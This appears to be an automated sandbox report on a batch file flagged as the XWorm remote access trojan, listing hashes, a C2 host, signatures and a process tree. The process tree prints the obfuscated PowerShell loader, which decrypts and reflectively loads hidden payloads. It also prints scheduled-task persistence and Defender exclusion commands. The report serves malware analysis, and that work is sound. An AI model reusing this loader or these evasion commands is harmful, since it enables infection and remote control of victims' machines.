Analysis

  • max time kernel
    30s
  • max time network
    31s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250113-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    24-01-2025 15:05

General

  • Target

    EspoofferFixed.bat

  • Size

    265KB

  • MD5

    f1de9472d7d6f32316659e4fa2296a82

  • SHA1

    51841c6da4684262484d072da2ee35d35892e657

  • SHA256

    93ae0ded8e229de092b27587159e255496e62680285077c17f501b3d1770965e

  • SHA512

    3843dfbe878b9a608f532dbbe9b56e722e21598cf99f2819ed3876b7fe27af7d319fa18ca5060bff219bf039703e53e79bd3186e7acdfa833f1e2e5378807fbb

  • SSDEEP

    6144:WWrN/c6ctnMWD0qABdaTK2tJ75HsTD6MIy:WWxk6eMI0qABdG1tp5MTDvT

Malware Config

Extracted

Family

xworm

C2

IDKTOBEHONESTNIGAS-56344.portmap.io:56344

Mutex

GgTsuAV3pXf6aU6z

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 13 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EspoofferFixed.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4756
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4776
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:732
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wLrE+qZ3Xmb1zRUrkcWeW//O4uGSrww2AIZjU1qcZ1M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Isa0lxAj1YDm9hQlNF0k8w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EvWzi=New-Object System.IO.MemoryStream(,$param_var); $ERwMq=New-Object System.IO.MemoryStream; $sLxmF=New-Object System.IO.Compression.GZipStream($EvWzi, [IO.Compression.CompressionMode]::Decompress); $sLxmF.CopyTo($ERwMq); $sLxmF.Dispose(); $EvWzi.Dispose(); $ERwMq.Dispose(); $ERwMq.ToArray();}function execute_function($param_var,$param2_var){ $Vqmmk=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xJlAD=$Vqmmk.EntryPoint; $xJlAD.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\EspoofferFixed.bat';$mErfi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\EspoofferFixed.bat').Split([Environment]::NewLine);foreach ($VfPZz in $mErfi) { if ($VfPZz.StartsWith(':: ')) { $VoYRl=$VfPZz.Substring(3); break; }}$payloads_var=[string[]]$VoYRl.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2016
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_974_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_974.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4460
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_974.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:3956
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_974.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4540
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2092
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:4560
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wLrE+qZ3Xmb1zRUrkcWeW//O4uGSrww2AIZjU1qcZ1M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Isa0lxAj1YDm9hQlNF0k8w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EvWzi=New-Object System.IO.MemoryStream(,$param_var); $ERwMq=New-Object System.IO.MemoryStream; $sLxmF=New-Object System.IO.Compression.GZipStream($EvWzi, [IO.Compression.CompressionMode]::Decompress); $sLxmF.CopyTo($ERwMq); $sLxmF.Dispose(); $EvWzi.Dispose(); $ERwMq.Dispose(); $ERwMq.ToArray();}function execute_function($param_var,$param2_var){ $Vqmmk=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xJlAD=$Vqmmk.EntryPoint; $xJlAD.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_974.bat';$mErfi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_974.bat').Split([Environment]::NewLine);foreach ($VfPZz in $mErfi) { if ($VfPZz.StartsWith(':: ')) { $VoYRl=$VfPZz.Substring(3); break; }}$payloads_var=[string[]]$VoYRl.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4572
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1852
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4384

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        3eb3833f769dd890afc295b977eab4b4

        SHA1

        e857649b037939602c72ad003e5d3698695f436f

        SHA256

        c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

        SHA512

        c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        1d4c7180b9c9cac3416413caa6769745

        SHA1

        e5fdaf2ede2948d19dc3c0dbf617f44e56b8fac8

        SHA256

        998faea84323eabb01efc0c20b3e3b99dc8cfb71cb4eae3be21f957cf36c63e5

        SHA512

        31e84cae767028757cf77d69b74e2045af246614518ab4f5ebe788ac38e0e941b2050075aa43253b6111842b89dc669a3a3e3bf671d422121a9f0f8ade688af9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        60b3262c3163ee3d466199160b9ed07d

        SHA1

        994ece4ea4e61de0be2fdd580f87e3415f9e1ff6

        SHA256

        e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb

        SHA512

        081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wbguqv2o.na4.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\startup_str_974.vbs

        Filesize

        115B

        MD5

        d9d582490583700435199da1f4775768

        SHA1

        1a51cafedeee86a17a111026202fe623f00533d9

        SHA256

        4a17099bc2c3bac8c266b30dd470d4129562d1bd6dea2fcc9ca5b21e24c94ae7

        SHA512

        209d585ebe25056f109876431c6eaf93551f43aa4a69eea76efef813387db813cb2e6367f6ee5141f77e0db03e916c9afada3d34562b1eab56c358c231f52f77

      • memory/2016-12-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

        Filesize

        10.8MB

      • memory/2016-51-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

        Filesize

        10.8MB

      • memory/2016-15-0x000001D3C82B0000-0x000001D3C82E4000-memory.dmp

        Filesize

        208KB

      • memory/2016-10-0x000001D3C7640000-0x000001D3C7662000-memory.dmp

        Filesize

        136KB

      • memory/2016-14-0x000001D3C7630000-0x000001D3C7638000-memory.dmp

        Filesize

        32KB

      • memory/2016-11-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

        Filesize

        10.8MB

      • memory/2016-0-0x00007FF8C9403000-0x00007FF8C9405000-memory.dmp

        Filesize

        8KB

      • memory/2016-13-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

        Filesize

        10.8MB

      • memory/4460-31-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

        Filesize

        10.8MB

      • memory/4460-28-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

        Filesize

        10.8MB

      • memory/4460-27-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

        Filesize

        10.8MB

      • memory/4460-26-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

        Filesize

        10.8MB

      • memory/4572-52-0x0000025C68230000-0x0000025C68240000-memory.dmp

        Filesize

        64KB

      • memory/4572-74-0x0000025C685F0000-0x0000025C685FC000-memory.dmp

        Filesize

        48KB